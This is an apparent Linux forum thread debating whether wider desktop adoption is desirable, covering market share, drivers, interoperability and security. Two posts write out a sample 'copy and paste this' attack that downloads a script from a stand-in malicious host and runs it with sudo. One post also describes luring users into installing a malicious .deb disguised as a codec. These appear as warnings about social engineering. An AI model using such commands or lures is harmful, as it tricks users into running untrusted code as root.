Do YOU want increased linux adoption, or not?

[barbedsaber]

I was wondering what some of you thought on the matter,

Pros of increased adoption (or at least what I think they are)
better hardware support
more games and other software being ported to linux
more people working on it, reporting bugs etc
not having to explain to quite as many people when they ask what is wrong with your computer, and where is the start button?

cons
possibly some security issues (with more people targeting it, more security vunerablitys)
not being "cool" anymore http://ars.userfriendly.org/cartoons/?id=20080608

so, do you want more people using it?

[bufsabre666]

i want more but only to the point of about where mac is now, 10% give or take depending on your statistics, with 10 that yields alot of hardware support and drivers, and maybe mainstream games ((im buying a cedega liscence so i can get my ea sports fix again when they start using it though)) and at 10% you still have the same general higher security, but alot of other things go into the security thing besides users, things like filesystem type and how much the programmers care

[kevin11951]

yes, increased Linux adoption is very good, everything you listed as pros are true, and for those of us who want to continue to be "cool" use bsd.

[Sef]

possibly some security issues (with more people targeting it, more security vunerablitys)

Not necessarily true. 2/3 of all web servers are GNU/Linux based and about 1/5 of them are MS based. Guess which one has more viruses, worms, and other malware.

[kevin11951]

not Necessarily True. 2/3 Of All Web Servers Are Gnu/linux Based And About 1/5 Of Them Are Ms Based. Guess Which One Has More Viruses, Worms, And Other Malware.

+1

[madjr]

there's an exact same thread at recurring discussions. We could close the old one and continue here or merge them.

and yes the more users the merrier.

Ubuntu is working on this very hard (Bug #1)

[zcal]

I find it strange that so many Linux users clamor for more adoption of their chosen operating system (or distro). Why not clamor for better interoperability instead?

[madjr]

i want more but only to the point of about where mac is now, 10% give or take depending on your statistics, with 10 that yields alot of hardware support and drivers, and maybe mainstream games ((im buying a cedega liscence so i can get my ea sports fix again when they start using it though)) and at 10% you still have the same general higher security, but alot of other things go into the security thing besides users, things like filesystem type and how much the programmers care

Mac doesn't have 10%, if it does than linux has 4%

is more like 5% (not everyone wants to overpay for hardware)

linux like 2% (linux was not invented yesterday)

I'll be satisfied only when linux gets 20%+

http://www.w3counter.com/globalstats.php

2 Windows Vista 7.69%
3 Mac OS X 4.73%
4 Windows 2000 3.07%
5 Linux 1.95%
6 Windows 98 0.96%

[barbedsaber]

Not necessarily true. 2/3 of all web servers are GNU/Linux based and about 1/5 of them are MS based. Guess which one has more viruses, worms, and other malware.

I agree, Linux is more secure because it was coded properly, and I think the whole thing about it having no viruses because no one cares it a whole load of FUD, but some people believe it, and I have seen people that want no more people.
If every single printer in the world works with linux, I will be one happy penguin.

[HunterThomson]

More:)

Better hardware support. I also don't think it will lead to more security problems. I think the problems with window$ is not it's widespread use but the fact that it sucks from the ground up:)

[FuturePilot]

I would like to see increased Linux adoption, but I don't think I would want to see it in the place Windows is at. I would be plenty happy if Linux had 20%-30% of the market share.

[Solicitous]

Not really, I'm quite happy being one of a rare few that know how to use it...kind of makes me feel special. What I would like to see is better interoperability when sharing files between different OS and applications; make ODF (or another agreed format) the standard. Nothing irritates me more than at my university assignments need to be handed in as a Microsoft Word Document. If they asked for ODF document....well then I can use whatever I like to type it up.

So, increased Linux adoption? Not really a big deal for me.
Increased interoperability? OH YEAH!!

[Jim!]

Yep! It'd be great if there were more linux users out there, more hardware and software support and It would just be plain awesome!

[billgoldberg]

I voted no, but that is not entirely true.

I would like a market share around 5%.

That way there should be good hardware support and more linux support for certain applications but it would still remain somewhat more safe from malicious types looking to write nasty stuff for it.

And I don't mind being one of the only ones using it here. I actually like that.

[lswest]

<snip>
I would like a market share around 5%.

That way there should be good hardware support and more linux support for certain applications but it would still remain somewhat more safe from malicious types looking to write nasty stuff for it.

And I don't mind being one of the only ones using it here. I actually like that.

+1 I'd not mind it gaining some of the marketshare so that the hardware support goes up, but definitely not so much that everyone used it. I also enjoy being one of the 5 people I know who use it, makes for a closer-knit community. Anyways, just my $0.02

[LaRoza]

I don't care. I feel that people would benefit from knowing about and using Linux based systems, but as long as it works for me...

[frup]

I don't really care but voted the more the merrier because that is essentially a true statement.

I like the side effects of market share such as GPL drivers and up to date binaries, but I would prefer open source alternatives still.

What I would like to see the most is an increase in developers (users who are developers are the best users, congratulations to you all) and for as many desktop aspects of Linux that are behind other OS's to catch up and then for Linux to really push forward.

I'd like to see HURD finished. I hope I can live that long (22 yr/o now).

[zmjjmz]

Increased, yes.
Total world domination, no.

[Fedz]

I voted 'Yeah, the more the merrier'.

The more adoption of Linux, the better Linux, software and hardware becomes available.

I believe a time will come when Micro$oft/Window$ will be a minority as more and more people adopt Linux and Micro$oft continues with less than enthusiastic release after release - people are pretty wise to alternatives these days ;-)

[aysiu]

Not necessarily true. 2/3 of all web servers are GNU/Linux based and about 1/5 of them are MS based. Guess which one has more viruses, worms, and other malware.
Sef, the security vulnerabilities in question here are the additional users, not the additional computers.

If we have a huge gain in marketshare for home use (not server use), more social engineering-based malware will be targeted at these new users, who may not know any better than to download and double-click a less-than-trustworthy .deb file.

[linuxisfree]

I'd definitely support increased linux adoption, but, as said earlier, only to a certain extent. I'd like to see a FEW more people use linux, enough to garner better support, but not too much that we'd end up being the new targets for malicious intent.

[karellen]

Linux adoption means increased market share -> drivers released by OEM for Linux And games

[wolfen69]

Not really, I'm quite happy being one of a rare few that know how to use it...kind of makes me feel special. What I would like to see is better interoperability when sharing files between different OS and applications; make ODF (or another agreed format) the standard. Nothing irritates me more than at my university assignments need to be handed in as a Microsoft Word Document. If they asked for ODF document....well then I can use whatever I like to type it up.

So, increased Linux adoption? Not really a big deal for me.
Increased interoperability? OH YEAH!!

this may come as a surprise to you, but you can save documents in open office as a microsoft document. :shock:

[plb]

I voted "I don't care." I do kinda miss the old days (90s) when no one really knew what Linux was but I don't really miss all the problems Linux had back then either.

[cardinals_fan]

There is nothing I could care less about.

[atomkarinca]

I think every government should use Linux, including schools, libraries etc. Because other operating systems are closed source and you can't know what it's capable of (I'm not saying either one does anything nasty, it's just a possibilty). And I think people buying new computers should have the option to choose the OS they want. Maybe noone will want Linux at first but when they see they have a choice and Linux is actually good, they will at least try. Only then Linux can reach its original potential. But I don't think even then it will dominate the market.

I don't care about drivers, games etc. Linux has a massive drivers support and a list of great native games. Of course it wouldn't hurt to have more. This is what I think about companies not releasing drivers for Linux: it's not because Linux has a small market share, it's just because they don't know anything about open source market and they're afraid. Until now they always thought the only profitable marketing is the closed source one. And old habits die hard. If they can get over this fear, we would have more support.

Just my two cents.

[RiceMonster]

I don't care. I feel that people would benefit from knowing about and using Linux based systems, but as long as it works for me...

That's what I was thinking. As long as it works for me, I'm just fine.

[AusIV4]

I find it strange that so many Linux users clamor for more adoption of their chosen operating system (or distro). Why not clamor for better interoperability instead?

Ding ding ding!

I'd like to see Linux and Macs get 10% to 15% market share each, knocking MS down a notch. If there is no single platform that reaches a vast majority of users, developers will be more inclined to write cross-platform software.

[miggols99]

The more we have, the more developers, so speedier development (and maybe it will fix the problem with people saying "Linux GUIs aren't userfriendly!"), better hardware support because hardware manufacturers will notice that we exist and instead of people fighting over the OSs, we'll fight over which DE/WM to use ;)

[aaaantoine]

There is nothing I could care less about.

I bet you could care less about the mating habits of the Drosophila melanogaster.

But in case you don't, here's a Wikipedia link (http://en.wikipedia.org/wiki/Drosophila_melanogaster).

[keiichidono]

I definitely want more people, the people who say having a small user base keeps it "cool" and secure are spreading FUD, it needs to grow bigger.

[barbedsaber]

I bet you could care less about the mating habits of the Drosophila melanogaster.

But in case you don't, here's a Wikipedia link (http://en.wikipedia.org/wiki/Drosophila_melanogaster).

ooh, i'm doing a project on the

/sarcasm

[bigbrovar]

increasing linux market share would inturn increase the hardware support for linux ... yeah that is a good thing

[Swarms]

I voted 'Yeah, the more the merrier'.

The more adoption of Linux, the better Linux, software and hardware becomes available.

I believe a time will come when Micro$oft/Window$ will be a minority as more and more people adopt Linux and Micro$oft continues with less than enthusiastic release after release - people are pretty wise to alternatives these days ;-)

No it would just force them to be more innovative again, which really doesn't bother me.

I think we shouldn't mind increased userbase, but I think its alarming that people have this sense of security of the platform. I love the architecture, but wouldn't crackers eventually find their way inside? I have never seen a popular target keep safe, if its DRM, iPhones etc., they always fail. And here we got a userbase doing mistakes as a factor too!

About that server argument with Windows server being full of virus though it only had 1/5 of the marketshare.

Isn't it because, both like you implied that their architecture is weak, but also that all the malicious virus that works on the desktop computers work on the servers? This would make the the calculation a whole lot of different.

[20thCenturyBoy]

I don't really care about it, but in the perfect world interoperability would be much better and the market share would be <10%.

Personally, I think the idea of Linux being as recognized as Windows or OSX on the desktop is a romantic fantasy that will not be realized for many many years (more likely, never).

[kevin11951]

I don't really care about it, but in the perfect world interoperability would be much better and the market share would be <10%.

Personally, I think the idea of Linux being as recognized as Windows or OSX on the desktop is a romantic fantasy that will not be realized for many many years (more likely, never).

i absolutely disagree! Linux (most likely ubuntu) will be the choice of OS for many many people, many more that mac, very soon.

[grossaffe]

the only reason i would care is if it meant more applications.

[blueturtl]

Every time I look in my mailbox to find ten new spam messages all from people using Outlook/Entourage I want more people to adopt Linux/*nix.

[lancest]

Apple OS isn't having alot of unresolved security problems right? So why should Linux not allways continue to be more ALOT more safe & secure than Windows? I don't buy the idea that alot more Linux users will cause frequent security issues like seen with Windows.

[frup]

We have an Ubuntu user using Firefox and Thunderbird
Then an Suse user using Opera and Evolution
and a Fedora user using Epiphany and just gmail.

Looking at a standard social engineering attack, it's still going to be difficult.

The easiest will be "just copy and paste this in to your terminal"

wget malicious.com/malicious.sh
sudo ./malicious.sh

especially if it's all added in between other commands and scripts that appear to do something positive (such as add new icons or compiz plugins or cursors huh?)

As for Mac's having security issues, they are not open source. Linux is. Open source is the model that is considered to make things secure not just Unix. In that hackbook competition where the mac lost it was only after they changed the rules slightly though. It was a safari bug too I believe...

[atomkarinca]

Apple OS isn't having alot of unresolved security problems right? So why should Linux not allways continue to be more ALOT more safe & secure than Windows? I don't buy the idea that alot more Linux users will cause frequent security issues like seen with Windows.

Since both of them can be installed on PC, Linux is an alternative for Windows. You can't install Apple OS on a PC (I'm ignoring geeks who can do that with a million steps of workaround). And it's also illegal. Would you rather buy another machine or try Linux for free?

[odiseo77]

I didn't vote because I didn't find an option that better suits the way I feel it. If increased linux adoption means more hardware support, and the possibility of seeing more games and other useful software ported to linux (I mean the few software that don't have a real linux alternative, like Autocad, etc. -not that I use autocad, but I've heard from people that use it that there's not real linux equivalent), then my vote would be "Yes". But other than that I don't see the need for more people using linux. And not because I'm selfish, or because I believe that the more users, the more security risks, but because I think people should use what they want. So if they feel comfortable using Windows and formatting/reinstalling every time it gets a virus or a trojan, well, that's their choice (although I do encourage my friends to use linux, mostly when they come complaining about viruses, security, stability, etc.).

P.S.: At a second thought, I decided to vote "Yes", just for the cause and because it would probably mean more hardware support, etc. But my point is, I don't see the need of trying to force other people, or changing their minds about what to use. If they want a stable and secure OS, then I'd try to persuade them to use linux, otherwise, well, let them use what they want.

Well, writing all this I realized that probably more linux adoption would mean MS would loose strength in the market. And it's not that "we must make the war against MS", but that would be a good thing because MS couldn't buy or force hardware producers so they don't release linux drivers to the linux community, impose closed standards, and all sort of dirty market strategies... So, definitely, "Yes". (Although, honestly, I don't see MS loosing its place in the market anytime soon).

(As you can see, my thoughts gave a big spin while writing this :)).

[aysiu]

Looking at a standard social engineering attack, it's still going to be difficult.

The easiest will be "just copy and paste this in to your terminal"

wget malicious.com/malicious.sh
sudo ./malicious.sh

especially if it's all added in between other commands and scripts that appear to do something positive (such as add new icons or compiz plugins or cursors huh?) No, it's not difficult. Just have a webpage say that you need to download a video codec to view the webpage and then link you to a .deb file that will open in gDebi.

No one's going to call the malicious script malicious.sh

[bomanizer]

It would be nice, if the effect would be more support for other devices...you know, no more Plug & Pray.. :) When browsing for some device it generally lists Windows and OSX as supported operating systems...grr, boy that's annoying :mad: